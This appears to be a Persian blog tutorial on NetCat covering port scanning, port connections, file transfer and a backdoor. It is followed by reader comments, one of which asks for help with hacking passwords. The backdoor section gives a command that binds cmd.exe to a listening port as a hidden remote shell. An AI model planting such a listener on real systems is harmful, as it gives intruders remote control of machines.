NetCat

 چاقوی همه کاره سویسی

میتوان گفت هیچ یک از حملات شبکه ای بدون نام بردن از NetCat کامل نخواهد بود. این برنامه میتواند هم برای مدیران سیستم و هم برای مهاجمان مورد استفاده قرار بگیرد. NetCat در ابتدا توسط Hobbit نوشته شد و در اوایل سال 1996 منتشر شد که البته برای سیستم های Unixنوشته شده بود, و در سال 1998, Weld Pond نسخه ای برای ویندوز را ایجاد کرد.

NetCat مثل یک ابزار شبکه ای همه منظوره است که برای ارسال یا دریافت داده ها از هر پورت TCP یا UDP به هر پورت UDP یاTCP به کار میرود. همچنین میتوان به عنوان ,Port scanner Backdoor ,Port listener ,downloda, uploader و... استفاده کرد.

حال با چند مثال به بررسی چند کاربرد این برنامه میپردازیم.

Port scanning

برای اسکن کردن پورت های باز (پورت های در حالت listening) یک سیستم خط زیر را

به کار میبریم:

nc –v –w 2 –z [target] 10-100

در اینجا target نام یا IP سیستمی که می خواهیم اسکن کنیم است.

سویچ -v اطلاعاتی درباره اتصال میدهد.

سویچ -wزمان استفاده شده برای ایجاد یک اتصال را محدود میکند.

سویچ-z نیز از ارسال هر گونه داده جلوگیری میکند و باعث سریعتر شدن اسکن میگردد.

در این حالت nc تمام پورت های باز سیستم را که بین 1 تا 100 هستند اسکن میکند و نام پورت های معروفی مثل 21 یا 23 که پورت های FTP و Telnet می باشند را نیز نمایش میدهد.

البته NetCat وسیله سریعی برای پورت اسکنینگ نیست و برای اینکار برنامه ای مانند Nmap بهتر عمل میکند.

Connect to Port

برای اتصال به یک پورت از یک سیستم میتوان از خط زیر استفاده کرد:

nc –v –n [target] [port number]

با استفاده از سویچ –n NetCat فقط ادرس هایIP عددی را می پذیرد.

از این دستور میتوان به جای telnet در ویندوز استفاده کرد که هم باعث خوانا شدن نوشته ها میشود و همچنین پایدارتر از telnet است.

Backdoor

یکی از کاربرد های دیگر nc . استفاده از ان به عنوان Backdoor است. برای این کار خط زیر را اجرا میکنیم:

nc –L –p [port number] –d –e [cmd.exe]

سویچ –L nc را در حالت listen راه می اندازد

سویچ-p شماره پورتی را که میخواهید به ان وصل شوید مشخص میکند.

سویچ –d نتکت را در حالت جدا از کنسول اجرا میکند.

سویچ –e برنامه ای را که شما مشخص کرده اید اجرا میکند.

در اینجا port number شماره پورت است که میتواند هر پورتی باشد (پورت رزرو نشده) و شما میخواهید به ان پورت وصل شوید.

(Command prompt) cmd.exe هم برنامه ای است که پس از اتصال به nc روی آن پورت اجرا خواهد شد. در این قسمت اگر برنامه ای که میخواهید پس از وصل شدن اجرا شود در Directory nc نباشد باید نام درایو و directory آن را هم بنویسید:

nc –L –p 5566 –d –e c:winntsystem32cmd.exe

در این حالت nc روی پورت 5566 در حالت listening قرار میگیرد و به محض برقراری ارتباط cmd.exe را روی این پورت فعال میکند.

File Transfering

از کاربردهای دیگر این برنامه انتقال فایل بین دو سیستم است. بسیاری از شبکه ها جلوی FTP را میگیرند یا اینکه به دلیلی شما نمیتوانید از TFTP استفاده کنید. میتوان به وسیله nc فایل را با استفاده از پورت TCP و UDP منتقل کرد.

برای این کار باید nc را در حالت listen در سیستم مقصد راه انداخته و خروجی ان را به یک فایل منتقل کنیم. در سیستم مبدا نیز ان را در حالت client قرار میدهیم تا به سیستم مقصد روی پورت مورد نظر وصل شود و فایل وروی را منتقل میکنیم.

کامپیوتر مبدا:

client pc(recive file): nc –l –p [port] > [file]

کامپیوتر مقصد:

Srver pc(sending file): nc [client-IP] [port] < [file]

با به کار بردن سویچ –u فایل به صورت UDP انتقال میابد.

برای مثال میخواهیم فایل hack.htm را به کامپیوتری با IP 192.168.0.1 بفرستیم:

روی کامپیوتر مقصد این خط را مینویسیم:

nc –l –p 5566 > hack.htm

پورت 5566 را به صورت دلخواه انتخاب کرده ایم.

روی کامپیوتر خود نیز این خط را مینویسیم:

nc 192.168.0.1 < hack.htm

همیشه اول باید nc را روی کامپیوتر مقصد اجرا کنید.

نظرات 3 + ارسال نظر
[ بدون نام ] سه‌شنبه 25 آذر‌ماه سال 1382 ساعت 08:51 ب.ظ http://www.money4u.blogsky.com

سلام دوست وبلاگ نویس عزیز. امیدوارم خسته نباشین و همیشه شاد و پیروز دلم میخواست همه وبلاگ نویس ها علاوه بر نوشتن نظرات خودشون در اینترنت بتونند روشهای کسب پول و درامد از طریق اینترنت رو هم بدونن و خودشون رو به ثبات مالی برسونند واسه همین در وبلاگ www.money4u.blogsky.com روشهای کسب درامد و پولدار شدن از اینترنت رو توضیح دادم امیدوارم مورد قبول واقع شود. ارادتمند همه وبلاگ نویسها.....یه دوست

حمید هکر چهارشنبه 26 آذر‌ماه سال 1382 ساعت 12:41 ب.ظ http://t.blogsky.com

سلام دوست عزیز از این که به وبلگ من اومدی ممنون وبلاگ خوبی داری
دوستدار تو حمید هکر

متین دوشنبه 8 دی‌ماه سال 1382 ساعت 01:14 ق.ظ

سلام دوست عزیز
من از وبلاگ شما لذت میبرم آخه کسی نیست که من بتونم ازشون راهنمایی بخوام و شما بهترین راهنما هستید .
لطفا آموزشتون رو گسترش بدید و کمی بیشتر در مورد شات دون کردن توضیح بدید و پیوورد بدسا آوردن
مرسی

برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد